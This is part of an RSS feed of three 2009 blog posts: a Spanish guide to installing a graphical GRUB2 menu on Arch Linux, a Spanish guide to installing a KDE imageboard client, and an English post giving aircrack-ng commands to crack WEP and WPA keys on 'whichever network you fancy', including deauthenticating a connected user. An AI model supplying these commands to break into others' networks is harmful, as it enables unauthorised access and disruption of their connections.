<content:encoded><![CDATA[<div class='snap_preview'><p>Hacía tiempo que tenía ganas de tener un gestor de arranque gráfico, había probado ya <a href="http://jfibergran.wordpress.com/2007/07/17/grub-grafico-al-estilo-suse-gfxboot/">grub-gfx</a> pero, no era exactamente lo que esperaba.</p>
<p>El caso es que aprovechando los avances de Grub 2, existe el nuevo grub2-gfxmenu, que es algo similar. Gracias a un post de <a href="http://www.google.es/url?sa=t&#38;source=web&#38;ct=res&#38;cd=5&#38;ved=0CCQQFjAE&#38;url=http%3A%2F%2Fwww.calengo-jame.com%2Fblog%2F%3Fp%3D1287&#38;ei=ZvLpStGNHOqMjAfD2fWaDQ&#38;usg=AFQjCNFxEEQjPveNkK5Q3whj8XoC_kPVbA&#38;sig2=h7CQmgCacIOv7NPHfVag6A">Lane</a>, pude instalarlo en mi Arch, sin demasiados problemas.  Este es el post <a href="http://archxz.wordpress.com/2009/08/30/grub2-grafico/">original</a>. Aquí os dejo mi versión particular.</p>
<p>Primero hacemos una copia de seguridad del <em>menu.lst </em>ó<em> grub.cfg</em></p>
<blockquote>
<div>cp /boot/grub/menu.lst /boot/grub/menu.lst.copiaseguridad</div>
</blockquote>
<p>Para grub2</p>
<blockquote>
<div>cp /boot/grub/grub.cfg /boot/grub/grub.cfg.copiaseguridad</div>
</blockquote>
<p>Lo siguiente sera desinstalar grub</p>
<blockquote>
<div>pacman -R grub</div>
</blockquote>
<p>O el que se tenga instalado, puede ser grub2, grubgfx, &#8230;</p>
<p>Instalamos <strong>grub2-gfxmenu</strong> en dos partes (desde AUR)</p>
<blockquote>
<div>yaourt -S grub2-gfxmenu-overlay</div>
<div>yaourt -S grub2-gfxmenu</div>
</blockquote>
<p>Luego, editamos la configuración del archivo grub.cfg.</p>
<blockquote><p>nano /boot/grub/grub.cfg</p></blockquote>
<p><span style="color:#ff0000;"><strong>NOTA:</strong></span> Antes las particiones empezaban en 0 (hdX,0), ahora empiezan en 1 (hdX,1)</p>
<p>Por último, instalamos grub en nuestra partición de arranque:</p>
<blockquote><p>grub-install /dev/sda</p></blockquote>
<div>En el archivo <em>grub.cfg</em> hay una sección para elegir el tema visual. Estos 4 vienen preinstalados, y se elige uno descomentándolo.</div>
<blockquote><p>#set theme=”/boot/grub/themes/ubuntu2/theme.txt”<br />
#set theme=”/boot/grub/themes/ubuntu1/theme.txt”<br />
set theme=”/boot/grub/themes/winter/theme.txt”<br />
#set theme=”/boot/grub/themes/proto/theme.txt”</p></blockquote>
<p>Sin embargo, puedes instalar el que tu quieras mun fácilmente desde <a href="http://aur.archlinux.org/packages.php?O=0&#38;K=grub2-gfxmenu&#38;do_Search=Ir" target="_blank">AUR</a>. Yo elegí el de  <strong>distroballs</strong>. Así que añadí la siguiente línea:</p>
<p>Eso es todo, podemos reiniciar para ver el resultado, el mío queda así:</p>
<p><img class="aligncenter size-full wp-image-464" title="gfxmenuxabz" src="http://jfibergran.wordpress.com/files/2009/11/gfxmenuxabz.png" alt="gfxmenuxabz" width="500" height="312" /></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Aircrack is easy]]></title>
<link>http://huwuno.wordpress.com/2009/11/01/aircrack-is-easy/</link>
<pubDate>Sun, 01 Nov 2009 14:04:28 +0000</pubDate>
<dc:creator>Shiny</dc:creator>
<guid>http://huwuno.wordpress.com/2009/11/01/aircrack-is-easy/</guid>
<description><![CDATA[One of my friends complained to me the other day that Aircrack needs a GUI, &#8220;man, it&#8217;d b]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>One of my friends complained to me the other day that Aircrack needs a GUI, &#8220;man, it&#8217;d be less complicated, right&#8221;. Er, wrong. It&#8217;s so incredibly simple I honestly think a GUI is completely unnecessary. As ever the terminal is your best friend. I guess that&#8217;s a Windows mentality, folk aren&#8217;t used to doing things the easy way. Though, I admit that some tutorials (especially in the Linux world) do go on a bit and could probably be simplified. So, for my friend and others like him, here&#8217;s how to use Aircrack without the rambling.</p>
<p>Open up a terminal and <code>su</code> to root.</p>
<p>Turn off your wireless card.<br />
<code>#ifconfig wlan0 down</code></p>
<p>Enable monitoring.<br />
<code>#airmon-ng start wlan0</code></p>
<p>Do some monitoring&#8230; Make a note of the info on whichever network you fancy&#8230; In particular, the BSSID (e.g. 00:11:22:33:44:55), CHANNEL and whether it&#8217;s WEP or WPA.<br />
<code>#airodump-ng mon0</code></p>
<p><strong>WEP</strong></p>
<p>Monitor the chosen network and capture y&#8217;self some packets. This can take a while. Anywhere between 5,000 and 80,000 packets are usually needed.<br />
<code>#airodump-ng -c CHANNEL --bssid BSSID -w dump wlan0</code></p>
<p>Crack that sucker. Easy, no.<br />
<code>#aircrack-ng -b  dump*.cap</code></p>
<p><strong>WPA</strong></p>
<p>WPA is slightly different but just as easy. Monitor the chosen network.<br />
<code># airodump-ng -c CHANNEL --bssid BSSID -w handshake mon0</code></p>
<p>See the MAC (another 12 digit number) of the fella connected to it? Good, jot it down. Open up another terminal and force him to reconnect (as root, obviously).<br />
<code>#aireplay-ng -0 5 -a -c MAC mon0</code></p>
<p>Once you&#8217;ve captured a handshake you can crack it. Of course, you&#8217;ll need a decent dictionary file (they ain&#8217;t so hard to find), and it can take some time depending on the size of your dictionary/complexity of password. Luckily, you can do it offline once you&#8217;ve captured a handshake.<br />
<code>#aircrack-ng -a 2 -w /PATH/TO/DICT handshake*.cap</code></p>
<p>So who needs a GUI?</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Danbooru Client, imagenes a tu escritorio]]></title>
<link>http://fausto23.wordpress.com/2009/10/29/danbooru-client-imagenes-a-tu-escritorio/</link>
<pubDate>Fri, 30 Oct 2009 01:02:29 +0000</pubDate>
<dc:creator>fausto23</dc:creator>
<guid>http://fausto23.wordpress.com/2009/10/29/danbooru-client-imagenes-a-tu-escritorio/</guid>
<description><![CDATA[Soy un visitante asiduo de los sitios como konachan.com (de hecho hice un mini-post hace un año ), m]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="aligncenter size-full wp-image-1409" title="Danbooru" src="http://fausto23.wordpress.com/files/2009/10/captura-de-pantalla3.png" alt="Danbooru" width="482" height="438" /></p>
<p>Soy un visitante asiduo de los sitios como konachan.com (de hecho hice <a href="http://fausto23.wordpress.com/2008/11/13/anime-wallpapers-hd/">un mini-post</a> hace un año <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ), moe.imouto.org y demas imageboards de imagenes, y a veces se me hace pesado navegar con un navegador (anuncios, cosas que no necesito :/), asi que descubri este cliente para KDE que permite navegar a traves de estos sitios, llamado <a href="http://linux.softpedia.com/get/Multimedia/Graphics/Danbooru-Client-51782.shtml" target="_blank">Danbooru Client</a>.</p>
<p>Este programa permite navegar entre los primeros 100 posts (se espera que para otras versiones haya mas) y descargarlos, y como esta integrado on KDE, puedes poner tags a las imagenes que descargues gracias a Nepomuk, y agregar enlaces de sitios similares para busqueda.</p>
<p>Para instalarlo se necesita:<br />
-PyQt<br />
-Python<br />
-KDE<br />
-PyKDE4<br />
-Nepomuk</p>
<p><a href="http://kde-apps.org/CONTENT/content-files/114343-danbooru-client-0.1.tar.bz2" target="_self">Descargamos el paquete</a> y los descomprimimos, navegamos a la carpeta descomprimida y agregamos un directorio build.</p>
<p><code>cd carpeta &#38;&#38; mkdir build</code></p>
<p>Despues ejecutamos:</p>
<p><code>cmake -DCMAKE_INSTALL_PREFIX=`kde4-config --prefix` ../<br />
make &#38;&#38; sudo make install</code></p>
<p>Y lo tenemos instalado.</p>
<p>Una pequeña utileria para quienes frecuentemos estos sitios.</p>
</div>]]></content:encoded>
</item>

</channel>
</rss>
